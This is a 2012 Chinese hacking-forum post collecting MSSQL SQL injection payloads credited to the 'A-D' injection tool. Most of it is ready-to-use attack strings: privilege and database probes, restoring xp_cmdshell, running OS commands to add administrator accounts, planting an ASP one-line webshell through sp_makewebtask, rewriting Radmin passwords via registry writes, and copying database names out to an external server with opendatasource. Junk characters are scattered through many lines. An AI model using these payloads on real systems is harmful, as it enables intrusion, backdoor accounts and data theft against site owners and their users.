找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1862|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令
6 i" t8 v, N) B$ x//看看是什么权限的3 p) q* i& {$ J4 n  u
and 1=(Select IS_MEMBER('db_owner'))
0 @% l2 T+ M  h- y* {" w" ~; q& \And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
& w, `0 w( N! J4 r: r
8 S9 D, p0 y$ I( f2 Z7 O//检测是否有读取某数据库的权限
5 s  n  c; T0 k9 T6 b. Q% @2 Zand 1= (Select HAS_DBACCESS('master'))
4 ~2 O7 T% x/ d$ d: m) ]And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
) T0 s+ V3 b& z
) e% K6 m: j( w0 x0 b3 G# ?( b% C" [, f( L. V
数字类型- z- }8 Q! ^! a7 I" @
and char(124)%2Buser%2Bchar(124)=0# `  L( u: a5 M& c

2 N) L, B4 n1 V8 T  a字符类型" a. @) J; o% c9 G1 ?$ k8 K
' and char(124)%2Buser%2Bchar(124)=0 and ''='
3 f+ z+ R5 d1 G5 e) |5 h9 a% o8 L0 R+ J. U9 i! ^. o) s7 z
搜索类型3 s" i) n  G9 S; L' g( |
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
3 S5 }" a8 {' W( Z5 F' v6 u% k1 p1 f0 N! C* E
爆用户名
  f0 ]- }3 L  {! `and user>0' ~0 z( i7 u# y" F
' and user>0 and ''='. ^  C1 a: S1 B* y+ }6 g
) S9 u1 K/ _% Y: Y
检测是否为SA权限) f( |0 i" i9 N
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--# s3 v3 K: @7 f2 P$ F" Z$ Z! C
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
! U- s0 O: b& K& K( e& r- w
, x, M! O' M2 _. y2 g" M: o" h检测是不是MSSQL数据库& H1 a- S' m: P- C
and exists (select * from sysobjects);--
4 s- O6 d# Y4 {, |
" t1 B. l$ E6 g检测是否支持多行$ \6 K3 ]5 T0 m6 ~
;declare @d int;-- ! @2 r# g7 C  P

2 M( P* z6 l0 c& r, U( o' Y8 e恢复 xp_cmdshell
) R- p' Y; M: }) `) S;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--( S; ^" _+ y3 Q2 b

: }+ N+ f5 y/ {+ ?4 s8 Z" @/ u8 Q* S& Z: T$ g  J# J+ u9 O
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') * P5 u+ g1 F& K# T) l

$ L' O8 N2 B$ \# y$ J, w* I//-----------------------" T: M$ j! W( V3 Z
//      执行命令
- \: s5 L/ o, T6 Y# N//-----------------------$ M9 k- Y2 j' y1 I. P& g1 K' h
首先开启沙盘模式:" w8 N; `/ ?" m+ B: \
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" M8 v, O3 s% M+ [$ b9 F0 w& g3 r  y" T) J7 E/ j
然后利用jet.oledb执行系统命令  \$ E% K  d9 O0 e9 O. B
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')7 P: H7 m5 I& Q6 {' O
7 ?$ S2 m' @; t
执行命令# X& N( R; {! `, W! M1 z
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--6 {. W' ?8 r# P; N3 E- r( N- A
0 E1 d1 m7 o6 k1 M8 t7 \
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
- }+ c" G+ S* L( d  l5 e  Q
( Q- ]- D; R  w- Q0 U判断xp_cmdshell扩展存储过程是否存在:, U9 f% a# z( P# s# Q
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')3 N  C  ]: r8 {

/ }$ \) X1 d1 R; Z5 k' }写注册表
1 A" |5 M9 t" e8 z( w' i0 t  Fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
7 y3 G1 C% w: B+ e0 g1 A$ w5 T8 \: E1 L' t6 n
REG_SZ
1 i. X" B2 p) I/ @% n8 T2 A
$ |' f6 W. |$ H' |" G读注册表! v- |0 ^! M0 c% p1 X) T
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
/ j% F" t! }; s
6 [7 E9 R2 J4 I1 X' U  ~读取目录内容2 b* t& `4 g. |# a$ J. N4 v
exec master..xp_dirtree 'c:\winnt\system32\',1,13 A$ f7 e4 I7 y8 O+ z& @6 K# c

/ @& K- i, w# b, K' F: l1 E
+ o" ^, h3 n- {3 j$ `( |! J数据库备份& y, w0 z" V* H. J6 o; A7 F
backup database pubs to disk = 'c:\123.bak'1 a& _3 ~4 S) i0 ~

7 p/ E& [8 ?  q//爆出长度) N+ z5 s) z7 [  T$ F. ^
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
. b# E9 n5 ~5 X& q9 A% w9 N7 g" y, s* \
4 G: g( u& \# w: I) |
1 G& Z4 i$ P0 x- [/ a" ~8 u" G: ]$ W- ^) S  U4 G$ Z
更改sa口令方法:用sql综合利用工具连接后,执行命令:
" w) t: V: [2 ~$ [) \6 ^exec sp_password NULL,'新密码','sa'
1 h" q7 z" ^3 _" d: @3 N
4 f- g  j+ `; d& Z9 c: U! D6 A添加和删除一个SA权限的用户test:
0 v4 Q+ X8 ?8 wexec master.dbo.sp_addlogin test,ptlove; J) l/ I* S6 W
exec master.dbo.sp_addsrvrolemember test,sysadmin
, O4 E) H4 |7 Z* A5 w9 D; y9 a6 T3 w* T
删除扩展存储过过程xp_cmdshell的语句: 9 H8 [/ g- i5 p! f' D# G5 F! Z1 |0 a
exec sp_dropextendedproc 'xp_cmdshell'
' A# [8 Q: \+ g" ^5 C, @: ?
& z8 O/ p7 f9 W0 T" Q) C: d3 Q/ l添加扩展存储过过程, c% V; ]1 W- |
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
. m+ B9 u6 M* N4 GGRANT exec On xp_proxiedadata TO public   {) k9 j( A- p! O; h' m8 s; m' V
) m* _; f8 S0 p- \( @% n
' z1 G* b9 q/ l# o" G. x# H
停掉或激活某个服务。 0 v: ~# T; s) s

0 M6 i; N1 s; ~' h+ E+ M( texec master..xp_servicecontrol 'stop','schedule'7 s' G( w+ A: N8 R( e* V. Q, z
exec master..xp_servicecontrol 'start','schedule') W  W! ^- I  b" b# I& W
3 W0 U4 Y; B" }* \. L
dbo.xp_subdirs2 S1 [# Z7 V  X/ P
- f+ m8 `) w' {, j) Z" g( ]
只列某个目录下的子目录。) r6 Q; `5 q6 j$ ]; I! H- v# ?7 h
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'. f) i" e( U( @
4 e1 X& {/ b( |; K1 u9 r5 Q
dbo.xp_makecab& b& ~# K" Z3 P' ~3 u+ C! w

2 h/ Q0 r3 V9 Z; J/ g6 B1 {将目标多个档案压缩到某个目标档案之内。; b7 q( P; `# e5 c, n' S  s
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。1 H. l6 A" g9 i8 B
; P, M$ o7 h' ~
dbo.xp_makecab
6 t4 Q/ m4 ~% H5 m7 w2 j'c:\test.cab','mszip',1,: y+ V% O" a1 H! [% l1 t! l& }+ ?
'C:\Inetpub\wwwroot\SQLInject\login.asp',/ N2 M1 T* K  s3 T( L
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
% [3 ], t# b- [- R1 o( L; L4 b! I: W
xp_terminate_process
- E" ^1 \5 t0 o; b9 v, X" u2 m3 X' s0 O% e; ?3 z& A) o9 [
停掉某个执行中的程序,但赋予的参数是 Process ID。9 ^" X( g! c! u
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
; n( E/ ]% w! |3 x' F9 T4 Z2 C" j  B* Q: x# W
xp_terminate_process 2484& S0 f  |/ U7 k2 q6 H3 n
3 t: Z9 E8 `* q2 ]% H3 ]; p
xp_unpackcab" [0 }3 e1 V- @  _5 \! S* q5 @: X

# Q7 @/ \) |7 X2 f+ x( s解开压缩档。
+ K$ |" \2 {. [( t( g& R  T1 x% \$ u# W1 t  B# Z
xp_unpackcab 'c:\test.cab','c:\temp',1& \: A+ q9 J# f6 ~! w
4 J, L# H$ H8 q: v) Z2 Q

4 V( t4 p7 k, @某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12345 x7 l% t% \* H" d' x( P+ G

7 i0 o; p/ \0 P8 x+ ?  G% ?7 h: Xcreate database lcx;
' b( K8 d. J- S- H8 V3 ~Create TABLE ku(name nvarchar(256) null);* L, g- m) K3 q( w) W  e5 N
Create TABLE biao(id int NULL,name nvarchar(256) null);
5 _. K# M  _+ L; U; |) P/ l$ P5 G; Y% L
//得到数据库名
  Z6 [9 _# P; `( Vinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases1 B3 Y! P& }, p/ ?3 n% a" D; B

# }5 F* V- A4 ~, Y% {" l1 j% u3 G0 ~6 f" G1 L" q5 E1 k. B9 g. D
//在Master中创建表,看看权限怎样
6 N3 v$ g) L! h2 @Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--" o) a" d1 [5 x* k- N
  b( K/ ?6 \  g# m- ^" R
用 sp_makewebtask直接在web目录里写入一句话马:( n) h4 z& E: e4 h, c% J( w3 b
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--: o8 q! y; r4 g  I9 t! g
4 q* H" q: i4 I: ]. c% b
//更新表内容
: v3 F' j6 D+ k8 t5 u, I7 O$ y5 OUpdate films SET kind = 'Dramatic' Where id = 123
' n# G5 E% [. j) R# U! Y& H
; H; B0 ^( Y9 F5 K& u+ b' p0 d) Y) i//删除内容! v! [2 ^, l# O1 U! v) Z
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表